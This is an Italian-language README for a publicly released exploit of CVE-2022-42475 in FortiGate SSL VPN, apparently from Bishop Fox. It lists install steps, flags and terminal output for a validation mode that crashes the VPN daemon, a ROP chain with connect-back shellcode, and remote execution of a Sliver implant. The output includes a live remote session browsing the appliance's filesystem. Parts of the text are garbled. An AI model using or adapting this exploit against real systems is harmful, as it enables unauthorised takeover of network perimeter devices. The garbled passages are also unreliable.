
Exploit per CVE-2022-42475 che colpisce FortiGate SSL VPN con modalità di sola convalida, esecuzione di catena ROP e shellcode di connessione di ritorno per esecuzione remota di codice e distribuzione di binari.
Questo è l'exploit per il post del blog qui: https://bishopfox.com/blog/exploit-cve-2022-42475
Questa versione dell'exploit non funzionerà senza che tu, l'hacker, fornisca gli indirizzi di memoria necessari per i gadget ROP, ecc. Il lavoro per determinare questi dati è riservato e di proprietà di Bishop Fox e non pubblicherò (né posso) pubblicarlo insieme a questo exploit. Confido che tu capisca!
execve(file_binario).Nota: Al momento la modalità "solo convalida" funziona su tutte le versioni conosciute di FortiOS. Tuttavia, gli exploit funzionano solo contro FortiOS 6.0.4 su hardware 100D. Non lavoro più in BF e quindi non posso pubblicare l'exploit esteso che supporta qualcosa come 18k target.
pip3 install PyCrypto
pip3 install pycryptodome
Questo non tenterà alcun exploit del bug, ma lo attiverà come crash (il demone SSL VPN remoto si riavvia automaticamente e immediatamente). Il crash viene rilevato in modo euristico e segnalato all'operatore.
Eseguilo usando il flag -v di convalida:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] In esecuzione in modalità solo convalida. Nessun RCE.
[>] Verifica se il target è vulnerabile (potrebbe richiedere 10 secondi)
[+] Il target '192.168.0.10:8443' sembra VULNERABILE
Questo attiverà il bug, distribuirà una catena ROP e salterà allo shellcode. Lo shellcode è benigno e funziona come segue:
0xbf/tmp/x sull'apparecchio FortiGate0xbf all'exploit se la decifratura del payload è andata a buon fineFlag:
-t host/IP target
-p porta target
-e modalità exploit
-c modalità solo connessione di ritorno
-H e -P IP:porta dell'operatore (obbligatorio)
-s versione software di FortiOS (obbligatoria)
-m modello hardware su cui è in esecuzione FortiOS
-d attiva il debug
Un esempio in cui selezioniamo sia la versione software 6.0.4 che il modello di apparecchio 100D:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Generazione di una chiave AES casuale a 128 bit per crittografare il payload
[+] Crittografia del payload in corso...
[+] Utilizzo di shellcode in cache. Modifica ./x.py (cerca 'shellcode.s') per forzare l'aggiornamento.
[+] Configurato per la connessione di ritorno a 192.168.0.99:443
[+] Avvio del listener per payload crittografato...
[+] Preparazione dell'exploit...
[+] Invio della richiesta!
[+] Importazione dei gadget da 'exploit_data.json'
[<] Listener in ascolto sulla porta 443, in attesa di connessione di ritorno...
[+] Convalida dei gadget...
[!] Nessun modello hardware funzionale definito per FortiOS '5.2.14'. Rimosso.
[!] Nessun modello hardware funzionale definito per FortiOS '5.6.9'. Rimosso.
[+] Importati 797 target:
[-] 6.0.4 [ 1 target ] <=== 100D
[-] 5.2.14 [ 47 target ]
[-] 5.6.9 [ 60 target ]
[-] 6.0.13 [ 68 target ]
[-] 6.0.14 [ 67 target ]
[-] 6.0.15 [ 58 target ]
[-] 6.0.8 [ 67 target ]
[-] 6.2.11 [ 69 target ]
[-] 6.2.7 [ 75 target ]
[-] 6.4.10 [ 71 target ]
[-] 6.4.2 [ 62 target ]
[-] 6.4.3 [ 61 target ]
[-] 6.4.6 [ 73 target ]
[-] 6.4.9 [ 72 target ]
[-] 7.0.4 [ 53 target ]
[+] Avvio dell'exploit
[<] Richiesta in arrivo da 192.168.0.10:22470
[<] Pacchetto hello ricevuto dal target!! Modello #: 100D
[<] Invio del payload crittografato di 36 byte
[<] Invio del payload completato (36 byte), in attesa di risposta...
[<] Ricevuta la risposta prevista ('100D') da 192.168.0.10
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata!
Se si omette -m per scegliere un modello hardware, l'exploit tenterà a forza bruta tutti i target hardware per la versione software specificata.
0xbf/tmp/x0xbf all'exploitexecve("/tmp/x")Flag:
-t host/IP target
-p porta target
-e modalità exploit
-f filename /percorso/del/binario/da/eseguire/sul/target
-H e -P IP:porta dell'operatore per la connessione di ritorno (obbligatorio)
-s versione software di FortiOS (obbligatoria)
-m modello hardware su cui è in esecuzione FortiOS
-d attiva il debug
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Benvenuto nella shell sliver, digita 'help' per le opzioni
[server] sliver > mtls -l 8888
[*] Avvio listener mTLS ...
[*] Job #1 avviato con successo
Exploit:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] L'exploit tenterà di eseguire execve("implant5") sul target
...
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata.
E tornando a Sliver:
[*] Sessione d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > usa d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Sessione attiva implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
ID di accesso: <err>
[server] sliver (implant5) > ls
/ (19 elementi, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Mar 31 gen 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Mar 31 gen 11:04:35 +0000 2023
drwxr-xr-x data <dir> Mar 31 gen 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Mar 31 gen 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Mar 31 gen 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Lun 07 gen 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Lun 07 gen 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Lun 07 gen 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Lun 07 gen 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Lun 07 gen 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Mar 31 gen 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Mar 31 gen 05:23:13 +0000 2023
drwx------ root <dir> Lun 07 gen 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Mar 31 gen 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Lun 07 gen 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Mar 31 gen 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Mar 31 gen 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Mar 31 gen 05:23:27 +0000 2023
drwxr-xr-x var <dir> Mar 31 gen 05:24:07 +0000 2023
Nota che Sliver restituisce <err> perché FortiOS è più o meno Linux, ma non sempre funziona come ci si aspetterebbe. Questo è un problema di FortiOS, non di Sliver.
Non lavoro più in Bishop Fox, quindi dovrai seguire il github di BF per gli aggiornamenti su questo.